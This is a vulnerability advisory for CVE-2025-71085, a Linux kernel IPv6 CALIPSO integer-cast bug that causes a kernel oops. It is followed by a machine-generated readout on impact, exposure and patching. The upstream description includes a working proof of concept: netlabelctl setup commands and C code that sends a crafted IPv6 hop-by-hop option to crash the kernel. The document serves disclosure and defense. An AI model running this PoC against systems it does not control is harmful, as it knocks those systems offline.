CVE-2025-71085: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
In the Linux kernel, the following vulnerability has been resolved:
ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).
The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.
Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.
PoC:
Using `netlabelctl` tool:
netlabelctl map del default
netlabelctl calipso add pass doi:7
netlabelctl map add default address:0::1/128 protocol:calipso,7
Then run the following PoC:
int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
// setup msghdr
int cmsg_size = 2;
int cmsg_len = 0x60;
struct msghdr msg;
struct sockaddr_in6 dest_addr;
struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
sizeof(struct cmsghdr) + cmsg_len);
msg.msg_name = &dest_addr;
msg.msg_namelen = sizeof(dest_addr);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = cmsg;
msg.msg_controllen = cmsg_len;
msg.msg_flags = 0;
// setup sockaddr
dest_addr.sin6_family = AF_INET6;
dest_addr.sin6_port = htons(31337);
dest_addr.sin6_flowinfo = htonl(31337);
dest_addr.sin6_addr = in6addr_loopback;
dest_addr.sin6_scope_id = 31337;
// setup cmsghdr
cmsg->cmsg_len = cmsg_len;
cmsg->cmsg_level = IPPROTO_IPV6;
cmsg->cmsg_type = IPV6_HOPOPTS;
char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80
sendmsg(fd, &msg, 0);
Security readout for executives and security teams
Plain-English summary
CVE-2025-71085 is a Linux kernel IPv6 CALIPSO handling bug that can cause a kernel oops when specific packet-labeling logic passes an invalid headroom size. The confirmed impact is system stability, not data theft. Public sources do not provide CVSS, active exploitation, or broad remote exposure evidence.
Executive priority
Treat this as a stability risk for specialized Linux networking deployments. It is not currently supported by sources as an emergency Internet-wide threat, but kernel crashes can affect availability on exposed operational systems.
Technical view
The flaw is an implicit integer cast in __skb_cow() reached through calipso_skbuff_setattr(). A large headroom value can become negative and reach pskb_expand_head(), triggering BUG_ON(nhead < 0). Linux stable commits adjust calipso_skbuff_setattr() so skb_cow() is only used to grow headroom.
Likely exposure
Exposure is most relevant to Linux systems using IPv6 CALIPSO/NetLabel functionality. The public PoC context depends on CALIPSO policy configuration and a local IPv6 socket path. General Internet-facing exposure is not established in the provided sources.
Exploitation context
The CVE is not listed as KEV, and the bundle provides no active exploitation evidence. A PoC is included in the CVE description, but the sources do not show weaponized public exploitation or remote unauthenticated impact.
Researcher notes
Focus validation on the CALIPSO path, skb_cow() headroom handling, and whether the stable fix is present. The affected-version data in the bundle is sparse and commit-oriented, so branch-specific kernel provenance matters.
Mitigation direction
Apply the relevant Linux stable kernel fix for your deployed kernel branch.
Check vendor advisories for downstream products, including Siemens where applicable.
Prioritize systems using IPv6 CALIPSO, NetLabel, or security-label networking features.
If patching is delayed, review whether CALIPSO/NetLabel use is required.
Validation and detection
Inventory Linux kernel versions across servers, appliances, and embedded products.
Identify systems with IPv6 CALIPSO or NetLabel policy enabled.
Confirm whether deployed kernels include one of the referenced stable fixes.
Review vendor advisories for product-specific affected versions and fixed releases.
Generated from the cited source records. This long-tail analysis has not been individually reviewed by a named human.
Potential ATT&CK relevance
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